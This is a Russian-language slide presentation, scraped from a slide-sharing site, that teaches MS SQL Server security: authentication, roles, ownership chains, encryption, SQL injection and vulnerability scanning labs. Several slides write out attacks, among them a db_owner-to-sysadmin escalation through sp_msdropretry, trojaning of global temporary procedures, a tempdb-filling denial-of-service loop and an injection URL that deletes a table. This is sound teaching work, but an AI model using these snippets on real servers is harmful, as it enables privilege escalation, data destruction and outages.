Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.


Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть 

Яндекс.Метрика

Презентация на тему Безопасность СУБД. SQL

Содержание

Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД
Безопасность СУБД Раздел IV Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД Безопасность СУБДПользовательские бюджетыМеханизм аудитаМеханизм разграничения доступаЯзык программированияМеханизм управления паролями Методы аутентификацииIntegrated Windows NTLMKerberosLocalSAMActive Directorypass XOR 0xA5 pwdencrypt(pass) SQL Server Authentication Разграничение доступаDatabasemasterDatabaseDB Стандартные учетные записиServer loginSABuiltin/AdministratorsStandardWindows GroupDatabase UsersDBOGuestmastertempdb Роли пользователейЧитать данныеУдалять таблицуПисать данныеРоли уровня сервераРоли уровня БДpublic Роли пользователейСтандартные роли уровня сервера Роли пользователейСтандартные роли уровня базы данных Управление сервером Цепочка владенияOwnership ChainsDb.owner.sp_selectDECLARE @usr char(30)SET @usr = userSELECT * from user_table where Угрозы безопасности СУБДКомпрометация ОС с помощью СУБДИспользование системных хранимых процедурОбход защитных механизмов Шифрование трафика (SSL/TLS)Перехват данных при передаче по сети1. Получить Server Authentication Certificate Учетные записи службSQL ServerServer AgentMicrosoft SearchDTSКомпрометация ОС с помощью СУБД Шифрование баз данныхОбход защитных механизмов при физическом доступеВыполнить рекомендации по настройке EFSНастроить Межбазовая цепочка владенияCross database ownership chainDatabasemasterDatabasetestdbo Межбазовая цепочка владенияПолучение пользователем db_owner привилегий saСоздаем вид для модификации таблицы sysxlogins		create Межбазовая цепочка владенияСпособ защитыОтключена по умолчанию в SQL Server 2000 Service Pack Временные хранимые процедуры:Троянский код в хранимых процедурахМогут быть созданы любым пользователемМогут быть Троянский код в хранимых процедурахMicrosoft не считает данное поведение уязвимостьюГлобальные процедуры работают Отказ в обслуживанииВременные таблицы могут создаваться любым пользователемПользователь guest не может быть Отказ в обслуживанииИспользование временных таблицDatabasetempDatabasetestuser SQL InjectionМетод обхода логики приложения и получения непосредственного доступа к данным путем SQL InjectionWWWid = Request.querystring( SQL Injectionhttp://ws-gordeyechik/inject.asp?id=1;delete from testid = Request.querystring( SQL InjectionПрограмма Data Thief Практическая работа 23Исследование метода SQL Injection Анализ защищённости СУБДDatabase Scanner Выполняемые проверки Практическая работа 24Анализ защищённости СУБД MSSQL Server с помощьюпрограммы Database Scanner Вопросы ?
Слайды презентации

Слайд 2 Безопасность СУБД

Рассматриваемые темы:
Модель безопасности СУБД MS

Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД

SQL Server
Анализ защищённости СУБД


Слайд 3 Безопасность СУБД
Пользовательские бюджеты

Механизм аудита

Механизм разграничения доступа

Язык программирования

Механизм управления

Безопасность СУБДПользовательские бюджетыМеханизм аудитаМеханизм разграничения доступаЯзык программированияМеханизм управления паролями

паролями


Слайд 4 Методы аутентификации

Integrated Windows
NTLM
Kerberos

Local
SAM
Active Directory

pass XOR 0xA5
pwdencrypt(pass)

Методы аутентификацииIntegrated Windows NTLMKerberosLocalSAMActive Directorypass XOR 0xA5 pwdencrypt(pass) SQL Server Authentication


SQL Server Authentication



Слайд 5 Разграничение доступа














Database
master
Database
DB

Разграничение доступаDatabasemasterDatabaseDB

Слайд 6 Стандартные учетные записи
Server login
SA
Builtin/Administrators
Standard
Windows Group
Database Users
DBO
Guest


master
tempdb

Стандартные учетные записиServer loginSABuiltin/AdministratorsStandardWindows GroupDatabase UsersDBOGuestmastertempdb

Слайд 7 Роли пользователей


Читать данные
Удалять таблицу
Писать данные
Роли уровня сервера
Роли уровня

Роли пользователейЧитать данныеУдалять таблицуПисать данныеРоли уровня сервераРоли уровня БДpublic

БД


public


Слайд 8 Роли пользователей
Стандартные роли уровня сервера

Роли пользователейСтандартные роли уровня сервера

Слайд 9 Роли пользователей
Стандартные роли уровня базы данных

Роли пользователейСтандартные роли уровня базы данных

Слайд 10 Управление сервером

Управление сервером

Слайд 11 Цепочка владения
Ownership Chains
Db.owner.sp_select
DECLARE @usr char(30)
SET @usr = user
SELECT

Цепочка владенияOwnership ChainsDb.owner.sp_selectDECLARE @usr char(30)SET @usr = userSELECT * from user_table

* from user_table where user_name=@usr
user - execute
user - select

user


Слайд 12 Угрозы безопасности СУБД
Компрометация ОС с помощью СУБД
Использование системных

Угрозы безопасности СУБДКомпрометация ОС с помощью СУБДИспользование системных хранимых процедурОбход защитных

хранимых процедур
Обход защитных механизмов при физическом доступе
Перехват данных при

передаче по сети

Использование цепочки владения для повышения
полномочий

Получение паролей пользователей

Внедрение SQL кода (SQL Injection)


Слайд 13 Шифрование трафика (SSL/TLS)
Перехват данных при передаче по сети
1.

Шифрование трафика (SSL/TLS)Перехват данных при передаче по сети1. Получить Server Authentication

Получить Server Authentication Certificate для использования с FQDN сервера


2. Установить сертификат в локальное хранилище компьютера

3. Включить шифрование Force Protocol Encryption

4. Проверить соединение (ODBC):

Driver=SQLServer;Server=ServerName;
Network=DBNETLIB.DLL;Encrypt=YES


Слайд 14 Учетные записи служб




SQL Server
Server Agent
Microsoft Search



DTS
Компрометация ОС с

Учетные записи службSQL ServerServer AgentMicrosoft SearchDTSКомпрометация ОС с помощью СУБД

помощью СУБД


Слайд 15 Шифрование баз данных
Обход защитных механизмов при физическом доступе
Выполнить

Шифрование баз данныхОбход защитных механизмов при физическом доступеВыполнить рекомендации по настройке

рекомендации по настройке EFS
Настроить сервис сервера на запуск от

имени доменной учетной записи
Остановить SQL сервер
Зайти в систему от имени доменной учетной записи
Использовать утилиту chipher с ключом /W для шифрования файлов базы данных (*.ldf, *.mdf)
Очистить кэш доменных учетных записей
Запретить вход на сервер группе builtin/administrators
Использовать SysKey


Слайд 16 Межбазовая цепочка владения
Cross database ownership chain












Database
master
Database
test
dbo

Межбазовая цепочка владенияCross database ownership chainDatabasemasterDatabasetestdbo

Слайд 17 Межбазовая цепочка владения
Получение пользователем db_owner привилегий sa
Создаем вид

Межбазовая цепочка владенияПолучение пользователем db_owner привилегий saСоздаем вид для модификации таблицы

для модификации таблицы sysxlogins
create view dbo.test2 as
select *

from master.dbo.sysxlogins

Используем ошибку в sp_msdropretry для замены sid (0x01=sa)
exec sp_msdropretry
‘xx update sysusers set sid=0x01 where name= ‘’dbo’’’, ‘xx’

Set xstatus field to 18 (sysadmin)
exec sp_msdropretry
‘xx update dbo.test set xstatus=18 where name= SUSER_SNAME()’, ‘xx’


Слайд 18 Межбазовая цепочка владения
Способ защиты
Отключена по умолчанию в SQL

Межбазовая цепочка владенияСпособ защитыОтключена по умолчанию в SQL Server 2000 Service

Server 2000 Service Pack 3
Есть возможность включить в пределах

сервера и отдельной базы данных



База данных master не поддерживает опцию db chaining

exec sp_configure
«Cross DB Ownership Chaining», «1»

exec sp_dboption
«databasename», «db chaining», «true»


Слайд 19 Временные хранимые процедуры:
Троянский код в хранимых процедурах
Могут быть

Временные хранимые процедуры:Троянский код в хранимых процедурахМогут быть созданы любым пользователемМогут

созданы любым пользователем
Могут быть выполнены любым пользователем
Могут быть модифицированы

любым пользователем

select name from
tempdb..sysobjects
where name like '##%'

1. Поиск процедуры:

2. Модификация:

alter proc ## as <исходный код>
<код трояна>

3. Ожидание выполнения привилегированным пользователем


Слайд 20 Троянский код в хранимых процедурах
Microsoft не считает данное

Троянский код в хранимых процедурахMicrosoft не считает данное поведение уязвимостьюГлобальные процедуры

поведение уязвимостью

Глобальные процедуры работают в соответствии с документацией «by

Design»

Вывод:
Не использовать глобальные хранимые процедуры

Слайд 21 Отказ в обслуживании
Временные таблицы могут создаваться любым пользователем
Пользователь

Отказ в обслуживанииВременные таблицы могут создаваться любым пользователемПользователь guest не может

guest не может быть удален из базы данных tempdb

create

table #tmp
(x varchar(8000))
insert into #tmp select 'X'
while 1=1 insert into #tmp select * from #tmp

Слайд 22 Отказ в обслуживании
Использование временных таблиц












Database
temp
Database
test
user

Отказ в обслуживанииИспользование временных таблицDatabasetempDatabasetestuser

Слайд 23 SQL Injection
Метод обхода логики приложения и получения непосредственного

SQL InjectionМетод обхода логики приложения и получения непосредственного доступа к данным

доступа к данным путем внедрения во входную информацию, обрабатываемую

приложением операторов языка SQL

SQL Injection могут быть подвержены:

- WEB приложения

- Двухзвенные приложения

- Хранимые процедуры


Слайд 24 SQL Injection

WWW
id = Request.querystring("id")
SQL_query = "SELECT * FROM

SQL InjectionWWWid = Request.querystring(

test where id="+id
Set RS = MyConn.Execute(SQL_query)
http://ws-gordeyechik/inject.asp?id=1
select * from test

where id=1

Слайд 25 SQL Injection

http://ws-gordeyechik/inject.asp?id=1;delete from test
id = Request.querystring("id")
SQL_query = "SELECT

SQL Injectionhttp://ws-gordeyechik/inject.asp?id=1;delete from testid = Request.querystring(

* FROM test where id="+id
Set RS = MyConn.Execute(SQL_query)
WWW
select *

from test where id=1;
delete from test



Слайд 26 SQL Injection
Программа Data Thief

SQL InjectionПрограмма Data Thief

Слайд 27 Практическая работа 23
Исследование метода SQL Injection

Практическая работа 23Исследование метода SQL Injection

Слайд 28 Анализ защищённости СУБД



Database
Scanner

Анализ защищённости СУБДDatabase Scanner

Слайд 29 Выполняемые проверки

Выполняемые проверки

Слайд 30 Практическая работа 24

Анализ защищённости СУБД MSSQL Server с

Практическая работа 24Анализ защищённости СУБД MSSQL Server с помощьюпрограммы Database Scanner

помощью
программы Database Scanner


  • Имя файла: bezopasnost-subd-sql.pptx
  • Количество просмотров: 193
  • Количество скачиваний: 0